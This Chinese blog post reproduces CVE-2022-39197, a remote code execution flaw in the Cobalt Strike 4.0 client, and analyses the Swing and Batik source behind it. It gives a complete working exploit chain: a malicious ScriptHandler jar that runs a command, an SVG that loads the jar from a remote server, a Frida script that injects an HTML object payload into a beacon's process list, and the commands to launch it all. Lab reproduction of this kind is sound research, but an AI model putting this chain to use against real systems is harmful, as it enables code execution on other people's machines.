cs rce复现

一,前言

最近老大让我改一下cs功能方便获取流量,让人工智能学习。对此我加了三个功能,批量执行命令,批量上传文件,批量下载文件。
机会难得,我顺便研究了一下cs rce,其中有个坑是svg文件和远程加载的jar包主机不一致,导致报错

二,环境

cs4.0
jdk8
python 3.8.10

三,复现

1.反编译

网上下载cs后,将客户端的jar进行反编译(我使用的是idea自带的反编译工具java-decompiler)
java -cp "E:\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true jar/cobaltstrike.jar decompiler_test

2.环境搭建

①,新建一个java项目,项目下新建两个Directory,lib和decompiled_src,分别存放原始cs客户端jar包和反编译的代码
②将jar包加入到项目中(记得点上钩)
选择file->project Structure->Modules->Dependencies->JARS or Directories...

image
③将cs启动类复制到src目录下

image
④指定启动类(指定为第三步复制到src目录的启动类)

image
成功指定后会生成以下文件

image
如此,cs客户端环境就搭建完成,方便后面调试
当你想修改或调试cs某个文件的时候,只需创建对应的目录,将其复制到目录下(比如某类package beacon.setup;则只需在src下创建beacon.setup包)
当想打包成jar的时候,只需build下选择以下操作
image
之后再out目录下会找到其jar包
image
指定启动客户端,会发现找不到cobaltstrike.auth,只需在resource目录下放入该文件即可

3.复现准备

将以下几个文件放在同一文件夹textCsRce
①准备远程加载jar(testRce.jar)
创建java项目,创建lib目录,将之加入到项目
src下创建RCE恶意类

点击查看代码
package com.cs.rce;

import org.apache.batik.script.ScriptHandler;
import org.apache.batik.script.Window;
import org.w3c.dom.Document;

import java.io.IOException;

public class RCE  implements ScriptHandler {
    public static void main(String[] args) {
//        new RCE();
    }
    public RCE(){
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    
    @Override
    public void run(Document document, Window window) {

    }
}
将该类做为启动类(环境搭建中有步骤) 之后在mf文件中Script-Handler选项

image

build成jar,复制出来

② 准备svg文件(http://127.0.0.1:8081/testRce.jar为你的jar包地址)(2.svg)

点击查看代码
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
   <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
   <script type="application/java-archive" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="http://127.0.0.1:8081/testRce.jar">
   </script>
</svg>
③使用cs生成exe(beacon.exe)

image

④准备py脚本文件(cve-2022-39197.py)

点击查看代码
import frida
import time
import sys


def processInject(target, url):
    print('[+] Spawning target process')

    pid = frida.spawn(target)
    session = frida.attach(pid)

    frida_script = '''
    var payload="<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='USER_PAYLOAD'></param></object>"
    var pProcess32Next = Module.findExportByName("kernel32.dll", "Process32Next")

    Interceptor.attach(pProcess32Next, {
        onEnter: function(args) {
            this.pPROCESSENTRY32 = args[1];
            if(Process.arch == "ia32"){
                this.exeOffset = 36;
            }else{
                this.exeOffset = 44;
            }
            this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
        },
        onLeave: function(retval) {
            if(this.szExeFile.readAnsiString() == "beacon.exe") {
                send("[!] Found beacon, injecting payload");
                this.szExeFile.writeAnsiString(payload);
            }
        }
    })
    '''.replace("USER_PAYLOAD", url)
    script = session.create_script(frida_script)
    script.load()
    frida.resume(pid)
    # make sure payload is triggered on client
    print("[+] Waiting for 100 seconds")
    time.sleep(100)
    frida.kill(pid)
    print('[+] Done! Killed beacon process.')
    exit(0)


if __name__ == '__main__':
    if len(sys.argv) == 3:
        processInject(sys.argv[1], sys.argv[2])
    else:
        print("[-] Incorrect Usage!\n\nExample: python3 {} beacon.exe http://10.10.10.2:8080/evil.svg".format(sys.argv[0]))

四,开始复现

②启动cs客户端,启动服务端
③textCsRce目录下下启动http服务
python -m http.server 8081
④启动Python脚本,使之在cs上上线
python3 cve-2022-39197.py beacon.exe http://127.0.0.1:8081/2.svg
⑤cs上线目标反键,explorer->process List
等进程出来后,下翻,触发命令执行(弹)(至于为什么是这样,看看脚本就知道了)
image

五,源码解析

①,起点
只要我们的payload带有<html>标签,就会被swing格式化为html文档进行解析。
一听到这,大家马上就会想到有html注入之称的xss,那我们可以用那些标签呢?
我们直接到看swing的html解析器就可以啦
首先查看javax.swing.text.html.HTMLDocument,进去搜索Html.tag.LINK
image
看到我们的老朋友link标签,其关联了一个LinkAction事件,script标签等众多标签,但实际上很多标签支持的属性有限,功能有所残缺,达不到我们的要求。
之后查看javax.swing.text.html.HTML.HTMLEditorKit的create(Element elem)方法,在这里我们可以看到不同的标签会创建不同的view,其中就有大佬构造payload的object标签
image
进入objectview,看看到底是什么东西
image
从最上面的注释,看这例子,是不是有种低版本fastjson反序列化的感觉,指定一个类,指定一个属性,指定属性值。至于到底是怎么处理的上面注释有解释,作者英语不好,所以翻译一下
image
image

简单来说,就是会根据标签的classid加载该类,如果成功的话会将该类实例化,并且可以根据param进行参数传递,接着看一下后续代码,我们接着看下创建组件的逻辑(createComponent()),
image
大概意思是获取标签的classid,之后通过反射将类进行实例化,如果是component子类的话,才会进行参数的传递
再看看参数是如何传递的,也就是setParameters(comp, attr);
image
该方法的主要逻辑是遍历对象的所有属性,标签获取该对应属性的值,如果是字符串就获取其对应的set方法,之后通过反射调用set方法传值。
综上所述,使用该标签,可达到实例化指定的类,并通过反射调用set方法传值,但需要满足以下条件
1.类对象必须是Component的子类
2.由于使用的是newInstance();实例化,所以需要一个无参构造器(构造方法,函数)
3.其set方法有且只有一个字符串类型的参数
那符合条件又能被利用的类该如何寻找呢?
可以使用codeql 等白盒工具进行自动化筛选

②可供利用的类
有师傅寻找到org.apache.batik.swing.JSVGCanvas类就符合我们的条件,set的属性为URI。
为方便解释,可创建临时测试类

点击查看代码
package learn;

import javax.swing.*;

public class SwingDemo2 {
//    private static final String HTML_TEXT = "<html><object classid=\"org.apache.batik.swing.JSVGCanvas\"><param name=\"URI\" value=\"http://127.0.0.1:8001/2.svg\"></object>";
//    private static final String HTML_TEXT = "<html><object classid=\"javax.swing.JLabel\"><param name=\"text\" value=\"chabao is handsome\"></object>";
private static final String HTML_TEXT = "<html><object classid=\"org.apache.batik.swing.JSVGCanvas\"><param name=\"URI\" value=\"http://127.0.0.1:8081/2.svg\"></object>";

    public static void main(String[] args) {

        init();
    }

    private static void init() {

        JFrame frame = new JFrame("这是我们的JFrame窗口。");
        frame.setLayout(null);
        frame.setBounds(300, 200, 600, 400);

        // 设置文字JLabel
        JLabel label = new JLabel(HTML_TEXT);
        label.setLayout(null);

        label.setBounds(100,100,300,400);
        frame.add(label);

        frame.setVisible(true); // 设置窗口可见
        // 关闭事件
        frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
    }

    private static void doMain() {
    }
}
debug启动该类,在textCsRce目录下启动http服务 其payload为

<html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://127.0.0.1:8081/2.svg"></object>
上面已经分析了swing解析object标签,实例化指定的类并调用set方法的逻辑,下面直接分析JSVGCanvas的setUri方法的利用逻辑
他首先会去访问2.svg并解析,之后根据标签内容远程加载我们的jar包,但他对我们的jar包有所现状
image
org.apache.batik.bridge.BaseScriptingEnvironment#loadScript直接在该方法处打断点
image
根据1处可知,类型要为application/java-archive
我们在2.svg里面指定
image
根据2处可知META-INF/MANIFEST.MF中Script-Handler的值需要不为null,所以
image
注意:接收对象为ScriptHandler,所以我们实例化的类需要实现该接口
3处会将我们2处获得的类进行实例化,我们只需在静态代码块中添加恶意代码,就会被执行

有个坑需要警惕,当我们读取的svg host和和远程加载jar包的host不一致的时候(比如http://127.0.0.1:8081/2.svg和http://192.168.95.1:8081/testRce.jar),会报以下错误,那到底是为什么呢?
image
到我们断点所填的那一步
this.checkCompatibleScriptURL(var6, var25);
他会经过一系列调用,到这个方法 org.apache.batik.swing.svg.AbstractJSVGComponent#getScriptSecurity
image
如果为null,就new一下这东西(这个地方为null)
image
看看他new的时候执行的操作(构造器),由于host不一样,致使他下面的if判断通过,se被赋值
image
se被赋值的下场,就是抛出异常
image

六,写后感

参考链接

https://blog.csdn.net/m0_49443776/article/details/128175690
天下大木头:http://wjlshare.com/archives/1529
忍者大佬:https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ

posted @ 2023-07-21 17:14  lzstar-A2  阅读(191)  评论(0编辑  收藏  举报